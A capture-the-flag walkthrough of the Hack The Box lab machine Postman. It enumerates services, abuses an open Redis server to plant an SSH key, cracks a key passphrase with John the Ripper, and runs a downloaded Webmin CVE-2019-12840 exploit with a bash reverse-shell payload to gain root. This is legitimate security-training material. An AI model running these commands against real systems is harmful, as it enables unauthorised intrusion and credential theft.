Hack The Box Writeup - Postman - 10.10.10.160
Postman is one of the machines of Hack the Box. It was initially released on 2nd November 2019 and retired in March 2020. The machine is based on Linux, rated as easy and resided at the ip 10.10.10.160. In this walkthrough, I discuss my approach to gain user and root flag.
A hacker does for love what others would not do for money.
– Laura Creighton
Using AutoRecon, the initial enumeration steps and calls to tools such as nmap can be automated. On my system, AutoRecon is installed in /opt, with a link in /usr/local/bin/autorecon.
sudo autorecon 10.10.10.160
Autorecon usually takes some time to run, however, partial results are usually available much quicker. Once the nmap-quick scan finishes, we can look at the service nmap discovered running on the most commonly 1000 ports:
# Nmap 7.80 scan initiated Thu Mar 19 08:41:40 2020 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /media/htb/results/10.10.10.160/scans/_quick_tcp_nmap.txt -oX /media/htb/results/10.10.10.160/scans/xml/_quick_tcp_nmap.xml 10.10.10.160 Nmap scan report for 10.10.10.160 Host is up, received user-set (0.075s latency). Scanned at 2020-03-19 08:41:42 EDT for 145s Not shown: 997 closed ports Reason: 997 resets PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI= | 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd) |_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Mar 19 08:44:07 2020 -- 1 IP address (1 host up) scanned in 147.26 seconds
Apparently, there are three services running:
- SSH on port 22,
- a webserver on port 80, and
- another webserver on port 10000.
AutoRecon made some further analysis of the services and the keys used, but there is only pretty standard stuff in there that does not bring us forward. So let’s have a look at the webpages offered.
SSH on Port 22
Nothing much to see here, a pretty common SSH server we have no credentials or keys for.
HTTP on Port 80
Looking at the page using Firefox, we see a personal website under construction. The source code does not contain anything interesting and the website does not offer any authentication mechanism that could be exploited. Looking for further interesting folders, using gobuster as run by AutoRecon did not discover anything really fascinating.
HTTPS on Port 10000
On port 10000, we are offered a login to webmin. A quick Google search shows that there are no default credentials. Instead, webmin relies on system accounts exclusively.
There is an Exploit for a remote command execution vulnerability in webmin, which relies on the ability for users to change their passwords. I was unable to reproduce the issue on Postman, apparently, the password change module is not installed / activated.
A second Exploit would also allow for command execution, however, to access the vulnerable parts of Webmin some basic credentials are needed.
Again, gobuster does not detect any interesting folders on the web server. In summary, the service detected do not offer much.
Back to Recon
By now the nmap-full-tcp scan of AutoRecon has finished, listing a service that went unnoticed so far:
6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
Exploitation: Redis on Port 6379
So let’s see what we can do with that Redis server. First, since I do not want to figure our how to properly speak Redis using telnet, let’s just install a proper client and connect:
sudo apt install redis-tools redis-cli -h 10.10.10.160
Apparently, the Redis server can be accessed without further authentication. Again, checking Google for how this could be exploited shows that Redis can be made to tread any file as its database, thus giving us access to the files readable / writeable by the user the Redis server runs as.
We use this to place our public SSH key into the authorized_keys file of the redis user as described here.
This allows us to log in as user “redis” using SSH:
ssh -i id_rsa firstname.lastname@example.org
Looking at user groups did not turn up anything interesting. To proceed further, I looked at the files readable by our redis user, hoping to discover anything juicy (2> /dev/null redirects errors to /dev/null rather than showing them on screen):
find / -type f -readable 2> /dev/null ... /opt/id_rsa.bak ...
There is a backup(?) of a private key file!
Exploitation: SSH Key File
Sadly, the private key file is encrypted, and we are still missing the password. To get it, the key file is converted to a file readable by John the Ripper, followed by trying the common rockyou wordlist for the password.
/usr/share/john/ssh2john.py id_rsa.bak > rd_rsa.bak.john john id_rsa.bak.john --wordlist=../../wordlists/rockyou.txt
John returns computer2008 as the password. The /home directory of the server only contains one user folder, namely /home/Matt.
Trying to log in as Matt via SSH does not work. Both the key and the password are rejected by the server. Apparently, Matt is not allowed to SSH in.
Instead, we log in using the Redis account and use su to switch to user Matt. This allows accessing the user flag in Matt’s home folder.
ssh -i id_rsa email@example.com su Matt cd /home/Matt cat user.txt
Exploitation: Webmin CVE
Now that we have discovered some credentials, we can get back to the second Webmin Exploit found during Enumeration. Luckily enough, Matt has reused his SSH key password for the Webmin login and his credentials are valid there as well.
Downloading and calling the file allows for executing arbitrary commands. We set up a netcat listener and use the command execution to get a reverse shell.
nc -lvp 1234 wget https://raw.githubusercontent.com/bkaraceylan/CVE-2019-12840_POC/master/exploit.py python3 exploit.py -u https://10.10.10.160 -p 10000 -U Matt -P computer2008 -c 'bash -i >& /dev/tcp/10.10.15.18/1234 0>&1'
The reverse shell runs as user root, since that is the account Webmin uses to run. We can access the root flag using the reverse shell.
Postman suffered from several common security issues:
- Webmin was not kept up to date, included several CVEs that could possible be exploited.
- Redis was not secured, i.e., it was accessible without credentials and (unnecessarily?) exposed to the net.
- Matt reused his password for different services, e.g., his SSH key and his login to Webmin.